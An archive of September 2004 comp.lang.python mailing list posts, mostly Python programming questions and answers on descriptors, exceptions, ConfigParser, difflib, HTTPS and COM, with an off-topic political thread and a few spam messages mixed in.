<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: I really like this one. I think this 'defaultvalue' class even deserves to be added as a builtin. It can even be changed to initialize non-empty sequences. And I haven't tried that yet, but it should be able to initialize an attribute with any kind of object that can be constructed with no arguments. Too bad it works only for instance attributes in a class. I will be a good Pythoneer/Pythonista and I will invoke parent __init__'s whenever using a library. My concern was not as a library user, but as a library developer. In which case I don't like the idea of relying on users to be good Python coders. Dan "Shalabh Chaturvedi" wrote in message news:mailman.2776.1094145516.5135.python-list at python.org... > Dan Perl wrote: > > > Someone else (Shalabh) suggested descriptors for the same problem but I > > didn't get to consider such a solution until now. > > This is what I had in mind: > > ---->8----- > class defaultvalue(object): # this is a descriptor > def __init__(self, name, factory): > self.name = name > self.factory = factory > > def __get__(self, obj, cls=None): > if obj is None: > return self > > val = self.factory() > setattr(obj, self.name, val) > return val > > > class C(object): > i = defaultvalue('i',dict) > j = defaultvalue('j',list) > > c = C() > print c.i, c.j # prints {} [] > ---->8----- > > Once it has kicked in, it's free of the descriptor overhead. Note you > only need to define defaultvalue once and reuse it everywhere. Also you > can give it a function or lambda like: > > k = defaultvalue('k', lambda :[1,2,3]) > > I still suggest you be a good Pythoneer and use __init__() like everyone > else. It's a useful habit of always calling the base class __init__() at > the top of your __init__(). If you don't develop this habit (or of at > least checking the base for __init__), you will waste debugging cycles > when you use other libraries. > > -- > Shalabh > > > > > > > From peter at engcorp.com Mon Sep 27 12:05:51 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 12:05:51 -0400 Subject: Catching Exceptions. In-Reply-To: References: Message-ID: Keith Bolton wrote: > I am handling exceptions currently using try, except. Generally I don't > handle specific exceptions and am catching all. > Then if an exception occurs, I would like to capture that error string. > However, in the documentation it seems like > there is not a way to get the extra str data if you are handling all > exceptions and not specifically. Is there? Do generic "try/except" is a *very* bad idea, and almost never either required, or hard to avoid. Nevertheless, if you are doing it, you can basically just do this to get the extra info: try: # failing code except Exception, ex: # use ex here just as you would have in a more specific handler # such as with str(ex) The key is that all exceptions are descendents of the class Exception, except *deprecated* exceptions that are just strings (as in "raise 'somefailure'"). (And those should never be used in your own code anyway.) -Peter From gerrit at nl.linux.org Tue Sep 28 03:44:21 2004 From: gerrit at nl.linux.org (Gerrit) Date: Tue, 28 Sep 2004 09:44:21 +0200 Subject: emulating du with os.walk In-Reply-To: <41579e43$0$9613$9b622d9e@news.freenet.de> References: <41579e43$0$9613$9b622d9e@news.freenet.de> Message-ID: <20040928074421.GD8719@nl.linux.org> "Martin v. L?wis" wrote: > Kirk Job-Sluder wrote: > >There should be an easy way to get around this, or perhaps I'm better > >off just parsing the output of du. > > I suggest that you don't use os.path.walk, but write a recursive > function yourself. You should find that the entire problem can > be solved in 12 lines of Python code. There are some nasty little problems which make it difficult. First, what do you do with hardlinks? Suppose directory a/a, a/b and a/c all contain the same 100 MiB file. Directory a/ only has 100 MiB, but a naive script will report 300 MiB. Most of the time, you'll want to stay in one filesystem. You don't want to get stuck in recursive symlinks. If a/b is a symlink to a/, you quickly get into an infinite loop. Directories have a size too. What do we do with files we can't read? In /proc, even stranger subtleties exist which I don't understand - ENOENT although listed by listdir() and that sort of thing. Together with more options, human-readable file sizes and documentation, it took be ~200 LOC at http://topjaklont.student.utwente.nl/creaties/dkus.py Note that du doesn't solve these problems either. yours, Gerrit. -- Weather in Twenthe, Netherlands 28/09 08:55: 15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP) -- In the councils of government, we must guard against the acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex. The potential for the disastrous rise of misplaced power exists and will persist. -Dwight David Eisenhower, January 17, 1961 From roy at panix.com Sun Sep 19 08:44:24 2004 From: roy at panix.com (Roy Smith) Date: Sun, 19 Sep 2004 08:44:24 -0400 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> <278de0e.0409182238.d74d313@posting.google.com> Message-ID: luismg at gmx.net (Neuruss) wrote: > Python is an excellent choice not only as a first language, but as > "the" language. I think it's silly (and, from a career advancement point of view, rather dangerous) to think of any language as the only language you'll ever need. Every new language I've ever learned has taught me something new about programming, because it's shown me a different way of doing things. Sometimes I like what I learn, sometimes I don't, but all knowledge is useful. >From a purely "can I find a job" point of view, knowing only one language is professional suicide. Choice of language may be one of the least important decisions one makes when starting a large project, but the fact remains that when looking for employees, the number one question recruiters always ask is, "Do you know language X?". If you say, "no", you won't even get past the initial phone screen. So, absolutely learn Python as a first language. But, don't stop there. From noone at here.com Thu Sep 30 13:29:24 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 18:29:24 +0100 Subject: List rotation References: Message-ID: Hi, Stop the press! Sorry, thats just me being dumb. Of course the easy way is just to alter the trans value. So instead of trans = 1, trans should = 3 to transpose the chords up a tone. Also, to quote the Meaning of Life death/dinner party scene I have commited social death in my last post. Amoungst should of course be amongst, oh the shame of it. Thanks, Malcolm From jerf at jerf.org Tue Sep 21 01:59:30 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 21 Sep 2004 05:59:30 GMT Subject: MAC address References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <20040921002603.15d24a03@gypsy.pfortin.com> Message-ID: On Tue, 21 Sep 2004 07:17:48 +0200, Peter Finlayson wrote: > I am not at all knowledgeable about the topic, but since he is talking > about wireless connections, couldn't he set his wireless NIC to > promiscuous mode and read the server's responses that way? That changes nothing from the servers point of view (packets go out, packets received) so while that could theoretically work it gets you nowhere. From me at privacy.net Thu Sep 2 18:50:00 2004 From: me at privacy.net (James Keasley) Date: 2 Sep 2004 22:50:00 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ["Followup-To:" header set to comp.lang.perl.misc.] On 2004-09-02, John Thingstad wrote: > On Thu, 2 Sep 2004 21:44:46 +0000 (UTC), Andre Majorel > wrote: > >> On 2004-09-02, John Thingstad wrote: > No but the algorithms for memory management, disk mangement and FTP in > unix were > well documented at the time. Linux Pauling started out with minix and then > went on to make a (mostly) posix compliant unix. IIRC, the only relation that Minix has with Linux is that Linus (Torvalds, Pauling is a geneticist IIRC) was using it as an OS when he started developing the terminal emulator that eventually became Linux, and indeed the kernel architecture is pretty fundementally different. > Seem to remeber this from my student days. > > Operating Systems (design and implication) Andrew S. Tanenbaum > > Intrucudes minix, a mini unix compatible with version 7 of unix. > (Not to be confused with system V.. the roman numerals were introdused by > AT&T) Yeah, and apparently it is still the classic text on OS design. - -- James jamesk[at]homeric[dot]co[dot]uk 'No, `Eureka' is Greek for `This bath is too hot.'' -- Dr. Who -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFBN6OYqfSmHkD6LvoRAi8FAJsHV2zx+TfKfwq7zkir91O4qvX7zwCdEeYn HLHT0Bk2u7z/Y/zMTqFMuUc= =vWN2 -----END PGP SIGNATURE----- From newsreply at transfertech.de Thu Sep 30 12:05:14 2004 From: newsreply at transfertech.de (Axel Mittendorf) Date: Thu, 30 Sep 2004 18:05:14 +0200 Subject: thread execution order References: Message-ID: wrote: > Could you explain why it is not an option to use a non-blocking pipe? Correct me if I'm wrong but if I would use a non-blocking pipe I would write the data and save everything that hasn't been written out in an internal buffer. I would need a timer the checks if there is any buffered data and tries to write it into the pipe, but since I'm not allowed to use timers I thought about using threads. THX, Axel From gregm-news at toadmail.com Tue Sep 14 10:55:11 2004 From: gregm-news at toadmail.com (Greg Menke) Date: 14 Sep 2004 10:55:11 -0400 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> Message-ID: Bulent Murtezaoglu writes: > Soo, another lisper cannot resist the temptation. > > >>>>> "GM" == Greg Menke writes: > [...] > GM> They're pretty convinced of that already- after all Dubya > GM> called this a crusade from day 1. [...] > > In all fairness I think that was plain dumbness in use of langauge. > He didn't mean a crusade in the historic sense. Even if he thinks it, > that was nothing more than an unfortunate choice of words. I am 99% > sure of this as I vividly remeber my jaw dropping when I saw him say > it in the window to the left of the one I was reading this very > newsgroup in. The men in that family are not good public speakers > and they seem to have trouble expressing themselves to reporters. > I see no malice in that. You may or may not be right about the dumbness of language, but thats not germane. What is important are the conclusions people in the middle east draw from it. > > [...] > GM> I'm not vastly fond of Dubya Sr., but I think he did the right > GM> things in Iraq; he was a better president than his son in all > GM> respects. > > He was, but the Iraq thing wasn't done right back then either. Of > course it is easy to say this with hindsight, but saving a shiekdom > and a kingdom while ending up in a position where you cross your > fingers that Saddam supresses uprisings w/o too much visible carnage > is not a good outcome. Maintaining a state of embargo against, as it > turned out, the people of Iraq indefinitely was not a good option > either. > > It is one of those cases where it's pretty clear that any obvious > option is not good, but it is not clear what the right thing to do is. > Had it been possible to leave the region alone after (or indeed > during) WW-I, some reasonably stable state of affairs might have > emerged. Actually, this is not unlike the Balkans. There, oil was > not in the equation but once Tito was gone, things that should have > happened between the Balkan wars and maybe 1950's ended up happening > in the 90s with much bloodshed and no clean ending (think Kosovo). What if what if what if. The problem is we're stuck in a hugely expensive, poorly planned and strategically stupid situation. We weren't before we invaded. > Presumably the people who get elected to positions of power are called > leaders because they are supposed to have better ideas and visions on > these things than us geeks do. That has clearly not been the case so > far. To be sure. > 9/11 seems to have gotten rid of any chance of sane action by the US in > the region, anyway. So basically the problem is no longer how the > civilized and reasonably free world will exert its influence in the > middle east, but how the world can try to influence the lone superpower > so it doesn't do too much damage to itself and the rest of the world. > Now that, I suspect, could have been prevented had the influential > people in the states (be it the press, the congress, whatever) showed > some backbone. One problem with the situation was Dubya & Co succeeded in strongly hinting that disagreement was akin to treason. There was simply no policital room for debate after 9/11. Bush was well on his way to sinking into his own incompetence by September 2001- the incompetence hasn't changed, but he sure got his mandate to Do Something. Gregm From peter at engcorp.com Wed Sep 1 18:18:38 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 18:18:38 -0400 Subject: How to learn to use python with Excel In-Reply-To: <9048dfd6.0409011402.51f0bc66@posting.google.com> References: <9048dfd6.0409011402.51f0bc66@posting.google.com> Message-ID: Xiao-Qin Xia wrote: > I don't like VBA, and want to use python to work with Excel. Does > anybody recommend some good documents to begin with? Mark Hammond and Andy Robinson's book (http://www.oreilly.com/catalog/pythonwin32/index.html) has good coverage of such things. You can even read it online if you subscribe to Safari. There are also probably dozens of examples you can find on the net here and there, or in the newsgroup/mailing list archives. For example, this search should get you started: http://groups.google.com/groups?q=group%3Acomp.lang.python.*+excel.application -Peter From maxm at mxm.dk Sat Sep 4 05:28:05 2004 From: maxm at mxm.dk (Max M) Date: Sat, 04 Sep 2004 11:28:05 +0200 Subject: How to actually write a program? In-Reply-To: References: Message-ID: <41398a3c$0$255$edfadb0f@dread12.news.tele.dk> Jp Calderone wrote: > Nick Evans wrote: > >> Now then.... where do I start. >> Any ideas about this problem :-) > > Close the file. Open test_mykewlprogram.py and begin writing unit tests. I completely agree in the value of test driven development, but for someone writing a first program I completely disagree! He will have to fight both programming in itself, and the test driven development process. There is a big difference in learning to program, and in programming itself. You should simply start coding! Solve problems as you go along. The most important thing is to allways be aware when something is repeated. You should focus on the DRY principle. Dont Repeat Yourself ==================== If you have written a similar piece of code 3 times, you should refactor it into a function. You don't state if you know object oriented programming, but if you don't, you should read up in it while writing your program. Then try to solve your problems with objects. Also read some good books about programming. Stuff like "The Pragmatic Programmer" & "Code Complete" On your next program you should then start writing unittest... regards Max M From caroundw5h at gmail.com Sun Sep 12 12:11:22 2004 From: caroundw5h at gmail.com (Michael Scarlett) Date: 12 Sep 2004 09:11:22 -0700 Subject: Python bell or beep References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com> Message-ID: <9f26450b.0409120811.5a4647c2@posting.google.com> "Mike C. Fletcher" wrote in message news:... > Jeffrey Barish wrote: > > >Greer, Joseph wrote: > > > > > > > >>I am a former BASIC programmer. Is there a command I can place in a > >>Python program to make a beep or buzz or bell? > >> > >> > There are various ways, most platform/shell specific. If you happen to > be on Windows, check out the standard module winsound. > > HTH, > Mike > > ________________________________________________ > Mike C. Fletcher > Designer, VR Plumber, Coder > http://www.vrplumber.com > http://blog.vrplumber.com or just do this [code] print "\a" [/code] not too hard From adalke at mindspring.com Thu Sep 23 13:41:38 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 Sep 2004 17:41:38 GMT Subject: lfs confusion In-Reply-To: References: Message-ID: John Hunter wrote: > I am a bit confused about LFS in python. In the olden days, I used > the following to test whether python and my kernel supported large > files > > >>> fd = open('/dev/null', 'rw') > >>> fd.tell() > 0L > > If 0L was returned, LFS was enabled, if 0 was returned, LFS was not > enabled. .. > Is the fd.tell() 0L trick no longer valid. What is the right way to > test for LFS support in python? Python is undergoing a process of int/long unification. str(long_number) as of 2.0 no longer puts a "L" at the end of string. If you want to use your method, try using 'repr' instead of 'str'. That probably won't happen for the long term though (3.0 and greater?). You might want to try doing a seek to a large int to see what happens. lfs_enabled = True try: fd.tell(sys.maxint * 3L) except OverflowError: lfs_enabled = False I've tried various Python versions I have, but they are all enabled with large file support so I don't know if this works. Andrew dalke at dalkescientific.com From greg at cosc.canterbury.ac.nz Sun Sep 5 22:44:33 2004 From: greg at cosc.canterbury.ac.nz (greg) Date: Mon, 06 Sep 2004 14:44:33 +1200 Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413ba25b$1@news.unimelb.edu.au> Message-ID: <413BCF11.6030904@cosc.canterbury.ac.nz> Maurice LING wrote: > Probably my question should be phrased as, given what x86/PPC processors > are register-based (even after more than a decade from the publication > of the book "Stack Machines - the new wave") and there isn't much > examples of stack-based processors, why is there a difference? If you're implementing a machine in hardware, access to registers is much faster than access to memory. Since the current trend in hardware design seems to be "as fast as possible, whatever it takes", today's architectures are increasingly register-based. But with an interpreter, things are very different. The "registers" of the VM probably aren't going to be real registers, but memory locations. Even if you do manage to keep them in real registers, the time spent accessing them is going to be small compared to the time spent fetching instructions, decoding them and figuring out what operands they refer to, so the speed advantage would be quite minimal. Given that, and the fact that stack architectures are much easier to generate code for, it's not surprising that most VMs tend to have stack architectures. Greg From faisal at nasim.org Tue Sep 7 05:23:38 2004 From: faisal at nasim.org (Faisal Nasim) Date: Tue, 07 Sep 2004 04:23:38 -0500 Subject: Email address has changed [auto-generated] Message-ID: [ This is an automatically generated message ] Hey there!! Due to excessive amounts of spam, I've closed this mailbox! My email has changed to whizkid AT nasim dot org Please email me there! Thank you. Regards, Faisal Nasim P.S. This email is sent to everyone who sends a message at faisal at nasim.org. If you didn't send a message, please check your system for viruses. From GoogleGroups at garringer.net Thu Sep 16 10:55:12 2004 From: GoogleGroups at garringer.net (Roy) Date: 16 Sep 2004 07:55:12 -0700 Subject: How to detect open windows applications Message-ID: <82d4be71.0409160655.234749ab@posting.google.com> How do I know within my python script if a specific windows application is currently running in Windows 2000. Specifically, I would like to know of MSWORD is running. I have the win32 package installed. Thank you for your help. From gzgimsun at 163.net Sun Sep 19 02:53:13 2004 From: gzgimsun at 163.net ( paris¡@) Date: 19 Sep 2004 06:53:13 GMT Subject: China girl in Paris Message-ID: An HTML attachment was scrubbed... URL: From jeff at ccvcorp.com Wed Sep 8 14:27:36 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 08 Sep 2004 11:27:36 -0700 Subject: Remove items from a list In-Reply-To: References: Message-ID: <10jujmd992t9236@corp.supernews.com> Paul McGuire wrote: >"Stan Cook" wrote in message >news:yWv%c.33126$Dl4.19812 at fe2.texas.rr.com... > > >>Yes, I used the listdir. The list is a list of files in the >>directory. I want to filter everything out but the ".dbf" >>files. >> >> >> > >You said the answer yourself - "I want to _filter_ everything out but the >".dbf" files." > >Use filter built-in, and use str's endswith() method in place of [-4:] list >slicing. > >dirlist = [ "a.txt", "b.txt", "c.dbf", "d.txt", "e.dbf" ] >isdbf = lambda x : x.endswith(".dbf") >print filter( isdbf, dirlist ) > >gives: > >['c.dbf', 'e.dbf'] > > Or, one could use a list comprehension and avoid the lambda: isdbf = [ item for item in dirlist if item.endswith('.dbf') ] Or better yet ;) one could trade listdir()/filtering for a single call to glob: import glob isdbf = glob.glob('*.dbf') Jeff Shannon Technician/Programmer Credit International From gumuz at NO_looze_SPAM.net Fri Sep 24 08:10:16 2004 From: gumuz at NO_looze_SPAM.net (Guyon Morée) Date: Fri, 24 Sep 2004 14:10:16 +0200 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: <41540ea3$0$3889$4d4ebb8e@news.nl.uu.net> ok, i have huffman encoding code. this is actually build for text, but because python can also read a binary file as a string, this applies equally well :) but, i was just wondering if this gives any problems if I use text-mode read for the binary files and vice versa. If I undertand correctly now, using binary mode is _always_ save, right? "Peter Hansen" wrote in message news:MaqdnVoFl5tkmsncRVn-uQ at powergate.ca... > Guyon Mor?e wrote: > > what is the difference? > > > > if I open a text file in binary (rb) mode, it doesn't matter... the read() > > output is the same. > > If you are on Linux that's the case... or under other > conditions. Maybe describing your platform and showing > an example of what you're trying to do would be helpful. > > -Peter From fmml at cedval.org Sat Sep 11 13:22:19 2004 From: fmml at cedval.org (Francois Meehan) Date: Sat, 11 Sep 2004 13:22:19 -0400 Subject: Retrieving windows event log from a Linux box... Message-ID: Hi all, Is there a way using python, to retrieve events log of a windows pc, from a Linux box? The closest thing I could find was to use rpclient of samba tng, but if I could find a "pure" python solution, that would be the best. Thanks in advance, Francois Meehan From santoshamb at yahoo.com Sun Sep 5 21:30:00 2004 From: santoshamb at yahoo.com (ben) Date: 5 Sep 2004 18:30:00 -0700 Subject: get https page References: <56d498d9.0409030934.43a1952e@posting.google.com> Message-ID: <56d498d9.0409051730.53591dd5@posting.google.com> Heres what I did to get it to work. Activestate python 2.3.2 does not come with the ability to connect over a secure layer, so you have to download the file at this address: http://www.junkheap.net/projects/python-windows-ssl/python-windows-ssl.html after you install his code, the following will work: import httplib HOSTNAME = 'www.schedulesource.com' conn = httplib.HTTPSConnection(HOSTNAME,443) conn.putrequest('GET', '/teamwork/logon/') conn.endheaders() response = conn.getresponse() print response.read() (I was trying to write a login script for schedulesource.com) Ben santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409030934.43a1952e at posting.google.com>... > "Jonathan Ellis" wrote in message news:... > > >>> import urllib > > >>> r = > urllib.urlopen("https://www.schedulesource.com/teamwork/logon/") > > >>> r.read() > > '\r\n > > > -Jonathan > > > Thanks for the answer Jonathan. The solution I found was a bit > different. I'm going to post it when I get home, for future reference. > > Ben From dan.gass at gmail.com Fri Sep 3 09:22:40 2004 From: dan.gass at gmail.com (Dan Gass) Date: 3 Sep 2004 06:22:40 -0700 Subject: Generating side-by-side differences in HTML Message-ID: The difflib.py module and the diff.py tools script in Python 2.4 alpha 3 now support generating side by side (with intra line differences) in HTML format. I have found this useful for performing build release comparisons (I use a script to generate a main page showing all the files that were changed in a build with hyperlinks to side by side differences for each of those files). I also find it useful for generating HTML test reports to show differences between actual and expected log files. In addition I use it for supplementing Doxygen generated HTML with side by side differences of files that were changed. Example usages: c:/python2x/Tools/Scripts/diff.py -m file1.txt file2.txt > some.html import difflib file1 = 'file1.txt' file2 = 'file2.txt' lines1 = open(file1).readlines() lines2 = open(file2).readlines() differ = difflib.HtmlDiff(tabsize=4,wrapcolumn=80) html = differ.make_file(lines1,lines2,file1,file2,context=True,numlines=10) f = open('some.html','w') f.write(html) f.close() 'tabsize' defaults to 8 'wrapcolumn' defaults to None (no line wrapping) 'context' defaults to False (shows full file vs. just showing diffs + context) 'numlines' defaults to 5 You can try out the code either by installing Python 2.4 alpha 3 or you can obtain the patched files (and example output) from: https://sourceforge.net/tracker/?func=detail&atid=305470&aid=914575&group_id=5470 Enjoy, Dan Gass From jmfbahciv at aol.com Thu Sep 9 09:15:05 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 09 Sep 04 13:15:05 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> <413f049f$0$6914$61fed72c@news.rcn.com> <20040908192913.67c07e7d.steveo@eircom.net> Message-ID: <41406a6d$0$6912$61fed72c@news.rcn.com> In article <20040908192913.67c07e7d.steveo at eircom.net>, Steve O'Hara-Smith wrote: >On Wed, 08 Sep 04 11:48:36 GMT >jmfbahciv at aol.com wrote: > >> In article , >> rpw3 at rpw3.org (Rob Warnock) wrote: > >> >*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >> >[an old, slow '486]: >> > >> > % uptime >> > 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 >> > % >> > >> >That's over *20* months!! >> >> I bet we can measure the youngster's age by the uptimes he boasts. > > The Yahoo! server farm ran to very long uptimes last time I had >any details. The reason being that they commission a machine, add it to >the farm and leave it running until it is replaced two or three years >later. Sure. But regular users of such computing services never get an uptime report. Hell, they have no idea how many systems their own webbit has used, let alone all the code that was executed to paint that pretty picture on their TTY screen. I bet, if we start asking, we might even get some bizarre definitions of uptime. I do know that the defintion of CPU runtime is disappearing. /BAH Subtract a hundred and four for e-mail. From bokr at oz.net Sat Sep 4 15:31:56 2004 From: bokr at oz.net (Bengt Richter) Date: 4 Sep 2004 19:31:56 GMT Subject: namespace question References: <1gji17e.osu4j01dj6qkmN%aleaxit@yahoo.com> Message-ID: On Fri, 3 Sep 2004 08:11:35 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Elaine Jackson wrote: > >> I would like to be able to write a function f, which will live in a module M, >> and will call a function g, such that, when f is imported from M into the >> interpreter, and invoked there, its invokation of g will return the >> interpreter's global namespace. Is there a way to do this and, if so, how? >> Muchas gracias for any and all assistance. > >There is no "interpreter global namespace". If you mean the namespace >of the calling module (which could be the interactive session's __main__ >if that's who did the importing) you can get there via sys._getframe -- >it's meant for debugging purposes (note the leading underscore) but it >will work. If you mean the namespace of __main__ (which could be the >interactive session if there is one) you can get the __main__ module >anywhere as sys.modules['__main__'] and a vars call around that will >give the module's dictionary (which is, I assume, what you mean by >namespace). > This brings up the question of standard terminology (e.g. for namespace). If one googles for python glossary, the top references are mostly http://manatee.mojam.com/python-glossary which seems not to have caught on so far (mea culpa too, since it takes volunteers ;-/ ). Anyway, my take on 'namespace' is a name->value mapping. I.e., pretty abstract. Then follows a discussion of various python mechanisms that do that (whether via a single dict's d[name] mapping or the infinite d.get(name, default) mapping, or the mapping implicit in the search, e.g., for a bare name using a function's local name lookup rules (local, closure, global, builtin) -- not to mention the mapping names undergo when used as attribute names in various ways. Compared to other languages, python's name spaces (in my sense) seem to have evolved interestingly ;-) I am wondering whether the future holds a more unified model of namespaces and their access mechanisms, so most inspect and sys._getframe name access hacks will be obviated. Re defintions, perhaps it is time to reinvigorate Skip's wiki or something like that? There was an interesting thread re improving python doc functionality at http://mail.python.org/pipermail/python-list/2004-May/219682.html An online extension of help() maybe taking a syntax clue from google ,like help('define:xxx') might be an interesting hook into a glossary of definitions. Regards, Bengt Richter From eurleif at ecritters.biz Thu Sep 16 19:07:48 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Thu, 16 Sep 2004 19:07:48 -0400 Subject: up with PyGUI! In-Reply-To: References: <2qq5adF133c5kU1@uni-berlin.de> Message-ID: <2qukdlF143c8aU1@uni-berlin.de> Jorge Godoy wrote: >>>BTW, I got really interested on the tool used to draw the diagrams on >>>this page: >>>http://www.cosc.canterbury.ac.nz/~greg/python_gui/ >>> version/Doc/ownership.html >> >>As far as I can remember, I drew them with Appleworks 6, >>printed them to PDF files, opened them with Preview and >>then saved them as jpegs. (Photoshop might also have been >>involved in there somewhere, I don't recall now.) > > > Too bad these aren't tools available on Linux or FreeBSD... I really > liked the way they look :-) OpenOffice.org can make diagrams like those pretty easily. From aleaxit at yahoo.com Fri Sep 24 19:09:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 01:09:05 +0200 Subject: Why not FP for Money? References: Message-ID: <1gkn9l9.17bto0f1abuxr0N%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > notation were convenient enough. More often than not, people will > continue to use floats, have precision problems, and complain at > c.l.py. I could bet that the number of threads about rounding errors > is not going to be lower over the next months even with Decimal in the > standard library :-) (Let's hope I'm wrong!) You're probably right, but it will be nice to be able to point the querants to module decimal. Backwards incompatible changes, such as taking a literal of 1.1 to mean a decimal rather than a float, are not in the cards until Python 3.0 time -- meanwhile we need to collect the needed in-the-field experience to support the incompatible changes we'll want, such as the meaning of such literals. Alex From bradtilley at usa.net Wed Sep 15 13:30:22 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 13:30:22 -0400 Subject: See exactly what a function has returned In-Reply-To: References: Message-ID: Peter Hansen wrote: > Brad Tilley wrote: > >> Is there an easier way to do this: >> >> def print_whats_returned(function): >> print function >> print type(function) > > > What is "this"? The subject line and the name of > the function imply it is something to do with the > return values of a function, yet the function is > never called. While Python is sometimes called > executable pseudo-code, I think in this case you'd > be better off using plain English to describe what > your goal is. > > -Peter OK, def print_whats_returned(function): ## A function that shows what another function has returned ## as well as the 'type' of the returned data. print function print type(function) def send_net_params_to_admin(ip_param, port_param): ip = get_server_ip() port = get_server_port() return ip, port print_whats_returned(send_net_params_to_admin(get_server_ip(), get_server_port())) From me at here.com Tue Sep 21 03:32:39 2004 From: me at here.com (uglybob) Date: Tue, 21 Sep 2004 01:32:39 -0600 Subject: 1 Excellent UseNet Download Tutorial >>> http://news.wfsd.net Message-ID: <414f73f5$2_15@Output.100ProofNews.com> I found this excellent and FREE UseNet Download Tutorial here... http://news.wfsd.net Tells you how to download pretty much anything you want. x-- 100 Proof News - http://www.100ProofNews.com x-- 3,500+ Binary NewsGroups, and over 90,000 other groups x-- Access to over 1 Terabyte per Day - $8.95/Month x-- UNLIMITED DOWNLOAD From drysdam at ll.mit.edu Mon Sep 20 10:05:42 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Mon, 20 Sep 2004 10:05:42 -0400 Subject: using ConfigParser wrong? Message-ID: I have a file test.cfg: [options] option1=foo option2=bar I have a program testconfig.py: import ConfigParser config = ConfigParser.ConfigParser() f = open('test.cfg') config.readfp(f) configList = config.items('options') print configList config.set('options', 'option3', 'baz') config.write(f) When I run this program, I get an error: Traceback (most recent call last): File "./testconfig.py", line 11, in ? config.write(f) File "/usr/lib/python2.3/ConfigParser.py", line 363, in write fp.write("[%s]\n" % section) IOError: [Errno 9] Bad file descriptor Is .write() not right? If not, how do I save the changed config to file? From FBatista at uniFON.com.ar Thu Sep 9 10:43:51 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 9 Sep 2004 11:43:51 -0300 Subject: Newbe - Error starting Python Message-ID: [Robert A. Rawlinson] #- I am new to Python. When I tried to start it on my Suse 9.1 #- system I got a KDEesktop message that said: Service #- 'searchproviders/python. Desktop is malformatted. #- What is this and how can I fix it? TIA How you started it? What happens if you open a terminal and type "python"? . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From crankycoder at gmail.com Fri Sep 24 16:05:55 2004 From: crankycoder at gmail.com (Victor Ng) Date: 24 Sep 2004 13:05:55 -0700 Subject: Win32-COM pass by ref for long arguments Message-ID: Hi everyone, I'm trying to use Python to talk to some COM components but I can't figure out how the pass-by-ref works in PythonWin. The COM signature I'm trying to call is: Function OpenTable(ByRef hTableRef As Long, ByVal TableNo As Long) As Boolean I've successfully made calls to other functions in the COM library from Python - so I'm fairly certain that things _should_ be working. My call is using an initial value of pythoncom.Empty for hTableRef, but I'm getting the following stacktrace from within the PythonCOM library: File "test.py", line 52, in ? tableRef = cf.OpenTable(result, 36) File "C:\Python23\Lib\site-packages\win32com\gen_py\9F78D5E0-A1B3-11CF-AF9F-00030F8047D7 x0x1x0.py", line 315, in OpenTable return self._oleobj_.InvokeTypes(48, LCID, 1, (11, 0), ((16387, 0), (3, 0)),hTableRef, TableNo) pywintypes.com_error: (-2147352571, 'Type mismatch.', None, 1) Anyone know what's going on here? From jeff at ccvcorp.com Thu Sep 2 16:34:47 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 02 Sep 2004 13:34:47 -0700 Subject: allowing braces around suites In-Reply-To: References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> 